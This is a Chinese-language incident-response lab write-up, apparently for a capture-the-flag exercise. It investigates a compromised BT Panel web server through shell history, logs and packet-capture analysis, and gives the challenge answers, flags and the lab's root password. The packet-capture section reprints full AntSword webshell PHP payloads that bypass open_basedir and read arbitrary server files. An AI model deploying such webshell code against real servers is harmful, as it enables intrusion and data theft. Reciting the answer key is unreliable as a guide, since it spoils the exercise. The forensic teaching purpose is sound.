背景 前景需要:看监控的石化发现WebShell告警,领导让你上机检查.你可以救救安服仔吗?
这是他的服务器,请你找出以下内容作为通关条件:
黑客的IP地址 192.168.20.1
黑客修改的管理员密码 Network@2020
提交第一次WebShell的连接URL只需要提交参数及值部分: index.php?user-app-register
提交WebShell连接密码 Network2020
提交黑客使用的后续上传的木马文件名称 version2.php
提交数据包中的Flag1 flag1{Network@_2020_Hack}
提交黑客隐藏的Flag2 flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}
提交黑客隐藏的Flag3 flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}
靶机环境 使用Vmware启动即可,如启动错误,请升级至Vmware17.5以上
相关账户密码:
root/Inch@957821.
信息收集 查看文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 [root@web-server ~] 总用量 4676 dr-xr-x---. 6 root root 263 7月 16 18:39 . dr-xr-xr-x. 20 root root 288 3月 7 11:44 .. -rw-------. 1 root root 1232 3月 4 09:46 anaconda-ks.cfg -rw-------. 1 root root 1471 3月 20 15:39 .bash_history -rw-r--r--. 1 root root 18 12月 29 2013 .bash_logout -rw-r--r--. 1 root root 176 12月 29 2013 .bash_profile -rw-r--r-- 1 root root 234 7月 16 18:39 .bashrc drwxr-xr-x 3 root root 17 3月 7 11:40 .cache -rw-r--r--. 1 root root 100 12月 29 2013 .cshrc -rw-r--r-- 1 root root 195 3月 7 11:52 .pearrc drwxr-xr-x 2 root root 22 3月 7 11:39 .pip drwxr----- 3 root root 19 3月 7 11:37 .pki -rw------- 1 root root 1024 3月 7 11:51 .rnd drwx------ 2 root root 69 3月 20 10:30 .ssh -rw-r--r--. 1 root root 129 12月 29 2013 .tcshrc -rw------- 1 root root 984 3月 20 15:03 .viminfo -rwxr-xr-x 1 root root 1880767 3月 20 15:31 wp -rw-r--r-- 1 root root 2860888 3月 20 14:43 数据包1.pcapng [root@web-server ~] 总用量 28 drwxrwxrwt. 7 root root 4096 7月 16 18:53 . dr-xr-xr-x. 20 root root 288 3月 7 11:44 .. -rw-r--r-- 1 root root 2 7月 16 18:43 bmac_008ba4b94bef52e84f51e7b5413f2dfc -rw-r--r-- 1 root root 10 7月 16 18:43 .fluah_time drwxrwxrwt. 2 root root 6 3月 4 09:41 .font-unix drwxrwxrwt. 2 root root 6 3月 4 09:41 .ICE-unix -rw-r--r-- 1 root root 18 7月 16 16:21 last_files_set_mode.pl srwxrwxrwx 1 mysql mysql 0 7月 16 18:39 mysql.sock -rw------- 1 mysql mysql 5 7月 16 18:39 mysql.sock.lock srw-rw-rw- 1 www www 0 7月 16 18:38 php-cgi-56.sock -rw------- 1 www www 4717 7月 16 18:54 sess_89mebtdvda26u9f2u8n08hm5qbq1bur3 -rw------- 1 www www 0 7月 16 18:44 sess_rpi1mkkd59ni3stcpdpgqumot1 drwxrwxrwt. 2 root root 6 3月 4 09:41 .Test-unix drwxrwxrwt. 2 root root 6 3月 4 09:41 .X11-unix drwxrwxrwt. 2 root root 6 3月 4 09:41 .XIM-unix
发现一个全流量包
查看端口 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 [root@web-server ~] Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN 1218/nginx: master tcp 0 0 0.0.0.0:ftp 0.0.0.0:* LISTEN 1068/pure-ftpd (SER tcp 0 0 0.0.0.0:ssh 0.0.0.0:* LISTEN 1025/sshd tcp 0 0 0.0.0.0:cddbp 0.0.0.0:* LISTEN 1218/nginx: master tcp 0 0 localhost:smtp 0.0.0.0:* LISTEN 1581/master tcp 0 0 0.0.0.0:12485 0.0.0.0:* LISTEN 2152/python3 tcp 0 52 web-server:ssh 192.168.11:cns-srv-port ESTABLISHED 2370/sshd: root@pts tcp6 0 0 [::]:ftp [::]:* LISTEN 1068/pure-ftpd (SER tcp6 0 0 [::]:ssh [::]:* LISTEN 1025/sshd tcp6 0 0 localhost:smtp [::]:* LISTEN 1581/master tcp6 0 0 [::]:mysql [::]:* LISTEN 2114/mysqld udp 0 0 0.0.0.0:bootpc 0.0.0.0:* 844/dhclient
查看服务 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 [root@web-server ~] 总用量 8 drwxr-xr-x. 11 root root 4096 3月 7 11:42 . drwxr-xr-x. 4 root root 151 3月 4 09:41 .. drwxr-xr-x. 2 root root 57 3月 4 09:41 basic.target.wants lrwxrwxrwx 1 root root 41 3月 7 11:42 dbus-org.fedoraproject.FirewallD1.service -> /usr/lib/systemd/system/firewalld.service lrwxrwxrwx. 1 root root 57 3月 4 09:41 dbus-org.freedesktop.nm-dispatcher.service -> /usr/lib/systemd/system/NetworkManager-dispatcher.service lrwxrwxrwx. 1 root root 37 3月 4 09:45 default.target -> /lib/systemd/system/multi-user.target drwxr-xr-x. 2 root root 87 3月 4 09:41 default.target.wants drwxr-xr-x. 2 root root 32 3月 4 09:41 getty.target.wants drwxr-xr-x. 2 root root 35 3月 4 09:41 local-fs.target.wants drwxr-xr-x. 2 root root 4096 3月 7 11:42 multi-user.target.wants drwxr-xr-x. 2 root root 48 3月 4 09:41 network-online.target.wants drwxr-xr-x. 2 root root 29 3月 4 09:41 sockets.target.wants drwxr-xr-x. 2 root root 254 3月 4 09:41 sysinit.target.wants drwxr-xr-x. 2 root root 44 3月 4 09:41 system-update.target.wants [root@web-server ~] [root@web-server /] bin dev home lib64 mnt patch root sbin sys usr www boot etc lib media opt proc run srv tmp var [root@web-server /] 总用量 4 drw------- 6 root root 121 3月 7 12:06 backup -rw-r--r-- 1 root root 5 3月 7 11:39 disk.pl drwxr-xr-x 17 root root 267 3月 7 11:53 server drwx-----x 10 www www 249 3月 7 12:01 wwwlogs drwxr-xr-x 4 root root 38 3月 7 12:01 wwwroot [root@web-server /] 总用量 12 drwxr-xr-x 2 root root 6 3月 7 11:40 bt_tomcat_web drwxr-x--- 6 mysql mysql 4096 7月 16 16:35 data drwxr-xr-x 3 root root 19 3月 7 11:40 go_project -rw-r--r-- 1 root root 64 3月 7 11:45 lib.pl drwxr-xr-x 10 root root 222 3月 7 12:01 mysql drwxr-xr-x 13 root root 231 3月 7 12:01 nginx drwxr-xr-x 3 root root 19 3月 7 11:40 nodejs drwxr-xr-x 3 root root 21 3月 7 11:40 other_project drw------- 16 root root 4096 3月 7 14:39 panel drwxr-xr-x 3 root root 16 3月 7 11:52 php drwxr-xr-x 3 root root 59 3月 7 11:53 phpmyadmin drwxr-xr-x 2 root root 6 3月 7 11:40 proxy_project drwxr-xr-x 6 root root 71 3月 7 11:51 pure-ftpd drwxr-xr-x 2 root root 6 3月 7 11:41 pyporject_evn drwxr-xr-x 3 root root 19 3月 7 11:41 python_project drwxr-xr-x 2 root root 24 3月 7 11:40 stop
存在宝塔集成环境
历史命令 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 [root@web-server /] systemctl disable firewalld systemctl disable --now firewalld setenforce 0 vim vi /etc/sysconfig/selinux poweroff ip a cd /var/ ls cd ww cd /home/ ls mysql yum install -y wget && wget -O install.sh https://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec BT bt ls cd /www/ cd wwwroot/ cd 127.0.0.1/ cd wwwlogs/ ls cat 127.0.0.1.log cd nodejs/ ls cd .. ls cd tcp-error.log cat tcp-error.log cat nginx_error.log cat access.log cat 127.0.0.1.log cd /www/ cd wwwlogs/ cat 127.0.0.1.log bt cd /www/wwwroot/ cd 127.0.0.1/ rm -rf flag1 1 rm -rf version2.php ls hardlink hwclock docker ps rm -rf pe9.sql cd vendor/ cd 127.0.0.1/ .api mkdir .api cd .api/ cd api/ cp * ../.api/ cd .api/ vim mpnotify.php vim alinotify.php cat /etc/shadow who w history useradd flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ} env $flag3 = [root@web-server .api] useradd: invalid user name 'flag3{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}' $flag3 = flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ} vim /etc/profile source /etc/p source /etc/profile env
通过上面的敏感一些文件和命令可以发现一些flag
哈哈哈.比如查看一下.api
目录
题目的本意是提醒你别忘了看环境变量哦~~~
1 2 3 4 [root@web-server ~] /www/wwwroot/127.0.0.1/.api [root@web-server ~] $flag2 = "flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}" ;
查看账号 1 2 3 4 5 [root@web-server /] root:x:0:0:root:/root:/bin/bash sync :x:5:0:sync :/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt
分析开机自启程序
查看计划或定时任务 1 2 3 cat /etc/crontab cat /etc/cron.d/*cat /var/spool/cron/root
全流量包分析 下载数据包1.pcapng
,使用Wireshark
分析.在过滤器中输入http
随便选中一个流量右键—>追踪流—>TCP流
输入0
回车从第一个包开始看
发现是个很典型的蚁剑流量哈,接下来对POST
请求体URL
解码慢慢分析
我们去index.php
代码中看看能不能找的这个参数值并给他删掉
发现啥也没有…
在大型框架或内容管理系统(CMS)中,URL请求的处理方式与简单的文件名加参数不同。这些系统通常使用路由机制来管理URL请求,路由机制允许开发者将特定的URL模式映射到后端的处理函数或控制器上。这意味着,当你访问一个URL时,系统会根据预先定义的路由规则来决定执行哪个功能,而不是直接去查找对应的文件。路由可以由CMS本身的功能提供,也可以由外部框架的功能或注解等方式提供。因此,为了理解或修改URL请求的处理方式,我们需要查看CMS或框架中定义路由的地方,这些地方可能是配置文件、插件设置或特定的注解代码。通过这种方式,系统能够更灵活地响应不同的URL请求,并提供更复杂的逻辑处理。
路由的来源
CMS功能提供的路由 :许多CMS,例如WordPress、Joomla等,内置了路由功能,可以通过插件或主题配置自定义路由。
框架提供的路由 :诸如Laravel、Symfony等PHP框架,通常包含强大的路由系统,允许开发者定义复杂的路由规则。
注解提供的路由 :一些框架支持通过注解的方式定义路由,这样路由规则可以直接写在控制器的注释中。
可以发现一句话木马,然后去逐步分析请求体特征
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 @ini_set ("display_errors" , "0" ); @set_time_limit (0 ); $opdir = @ini_get ("open_basedir" ); if ($opdir ) { $ocwd = dirname ($_SERVER ["SCRIPT_FILENAME" ]); $oparr = preg_split (base64_decode ("Lzt8Oi8=" ), $opdir ); @array_push ($oparr , $ocwd , sys_get_temp_dir ()); foreach ($oparr as $item ) { if (!@is_writable ($item )) { continue ; } $tmdir = $item . "/.fd491f470fb7" ; @mkdir ($tmdir ); if (!@file_exists ($tmdir )) { continue ; } $tmdir = realpath ($tmdir ); @chdir ($tmdir ); @ini_set ("open_basedir" , ".." ); $cntarr = @preg_split ("/\\\\|\//" , $tmdir ); for ($i = 0 ; $i < sizeof ($cntarr ); $i ++) { @chdir (".." ); } @ini_set ("open_basedir" , "/" ); @rmdir ($tmdir ); break ; } } function asenc ($out ) { return $out ; } function asoutput ( ) { $output = ob_get_contents (); ob_end_clean (); echo "4a0c" . "dc70" ; echo @asenc ($output ); echo "db6" . "da5" ; } ob_start (); try { $D = dirname ($_SERVER ["SCRIPT_FILENAME" ]); if ($D == "" ) { $D = dirname ($_SERVER ["PATH_TRANSLATED" ]); } $R = "{$D} \t" ; if (substr ($D , 0 , 1 ) != "/" ) { foreach (range ("C" , "Z" ) as $L ) { if (is_dir ("{$L} :" )) { $R .= "{$L} :" ; } } } else { $R .= "/" ; } $R .= "\t" ; $u = (function_exists ("posix_getegid" )) ? @posix_getpwuid (@posix_geteuid ()) : "" ; $s = ($u ) ? $u ["name" ] : @get_current_user (); $R .= php_uname (); $R .= "\t{$s} " ; echo $R ; } catch (Exception $e ) { echo "ERROR://" . $e ->getMessage (); } asoutput (); die ();
上面这个可能比较复杂,我们接着往下看,可以看到流11
1 @ini_set ("display_errors" , "0" );@set_time_limit (0 );$opdir =@ini_get ("open_basedir" );if ($opdir ) {$ocwd =dirname ($_SERVER ["SCRIPT_FILENAME" ]);$oparr =preg_split (base64_decode ("Lzt8Oi8=" ),$opdir );@array_push ($oparr ,$ocwd ,sys_get_temp_dir ());foreach ($oparr as $item ) {if (!@is_writable ($item )){continue ;};$tmdir =$item ."/.b1e668" ;@mkdir ($tmdir );if (!@file_exists ($tmdir )){continue ;}$tmdir =realpath ($tmdir );@chdir ($tmdir );@ini_set ("open_basedir" , ".." );$cntarr =@preg_split ("/\\\\|\//" ,$tmdir );for ($i =0 ;$i <sizeof ($cntarr );$i ++){@chdir (".." );};@ini_set ("open_basedir" ,"/" );@rmdir ($tmdir );break ;};};;function asenc ($out ) {return $out ;};function asoutput ( ) {$output =ob_get_contents ();ob_end_clean ();echo "b6" ."887" ;echo @asenc ($output );echo "f405" ."72be7" ;}ob_start ();try {$F =base64_decode (substr ($_POST ["x0b6b31b98f31d" ],2 ));$P =@fopen ($F ,"r" );echo (@fread ($P ,filesize ($F )?filesize ($F ):4096 ));@fclose ($P );;}catch (Exception $e ){echo "ERROR://" .$e ->getMessage ();};asoutput ();die ();&x0b6b31b98f31d=OmL3d3dy93d3dyb290LzEyNy4wLjAuMS9mbGFnMQ==
格式化 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php @ini_set ("display_errors" , "0" ); @set_time_limit (0 ); $opdir = @ini_get ("open_basedir" ); if ($opdir ) { $ocwd = dirname ($_SERVER ["SCRIPT_FILENAME" ]); $oparr = preg_split (base64_decode ("Lzt8Oi8=" ), $opdir ); @array_push ($oparr , $ocwd , sys_get_temp_dir ()); foreach ($oparr as $item ) { if (!@is_writable ($item )) { continue ; } $tmdir = $item . "/.b1e668" ; @mkdir ($tmdir ); if (!@file_exists ($tmdir )) { continue ; } $tmdir = realpath ($tmdir ); @chdir ($tmdir ); @ini_set ("open_basedir" , ".." ); $cntarr = @preg_split ("/\\\\|\//" , $tmdir ); for ($i = 0 ; $i < sizeof ($cntarr ); $i ++) { @chdir (".." ); } @ini_set ("open_basedir" , "/" ); @rmdir ($tmdir ); break ; } } function asenc ($out ) { return $out ; } function asoutput ( ) { $output = ob_get_contents (); ob_end_clean (); echo "b6" . "887" ; echo @asenc ($output ); echo "f405" . "72be7" ; } ob_start (); try { $F = base64_decode (substr ($_POST ["x0b6b31b98f31d" ], 2 )); $P = @fopen ($F , "r" ); echo (@fread ($P , filesize ($F ) ? filesize ($F ) : 4096 )); @fclose ($P ); } catch (Exception $e ) { echo "ERROR://" . $e ->getMessage (); } asoutput (); die (); &x0b6b31b98f31d=OmL3d3dy93d3dyb290LzEyNy4wLjAuMS9mbGFnMQ==
base64_decode(substr($_POST["x0b6b31b98f31d"], 2));
获取post key
x0b6b31b98f31d
的值,然后从第二个字符串开始截取截取到最后一个也就是L3d3dy93d3dyb290LzEyNy4wLjAuMS9mbGFnMQ==
然后base64
解码得/www/wwwroot/127.0.0.1/flag1
哎呀我去,误打误撞发现一个flag
接着看下面的数据流,可以看到黑客访问了此文件,flag1
的内容为:flag1{Network@_2020_Hack}
再往下看又会发现一个冰蝎马的流量特征
冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有Connection: Keep-Alive
请求体看起来向一堆Base64
编码的内容但是解出来又是乱码,可以找到Webshell
取出密钥进行aes
解密
宝塔-Web应急响应 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [root@web-server wwwlogs] [root@web-server wwwlogs] 总用量 212 drwx-----x 10 www www 249 3月 7 12:01 . drwxr-xr-x 7 root root 99 3月 7 11:40 .. -rwx------ 1 www www 12532 3月 20 08:12 127.0.0.1.error.log -rwx------ 1 www www 93820 3月 20 15:36 127.0.0.1.log -rwx------ 1 www www 102880 3月 20 14:53 access.log drwx-----x 2 www www 6 3月 7 11:40 go drwx-----x 3 www www 24 3月 7 11:40 java drwx------ 3 www www 17 3月 7 11:47 load_balancing -rwx------ 1 www www 0 3月 7 11:47 nginx_error.log drwx-----x 2 www www 6 3月 7 11:40 nodejs drwx-----x 2 www www 6 3月 7 11:40 other drwx-----x 2 www www 6 3月 7 11:41 python drwx------ 2 www www 52 3月 20 08:05 request -rwx------ 1 www www 0 3月 7 11:47 tcp-access.log -rwx------ 1 www www 0 3月 7 11:47 tcp-error.log drwx------ 2 www www 6 3月 7 11:47 waf
分析日志,只有两个IP那么192.168.20.1
则为攻击IP
输入bt
修改面板密码进入面板,设置网站IP
没有密码,无法登录后台,去数据库里查一查密码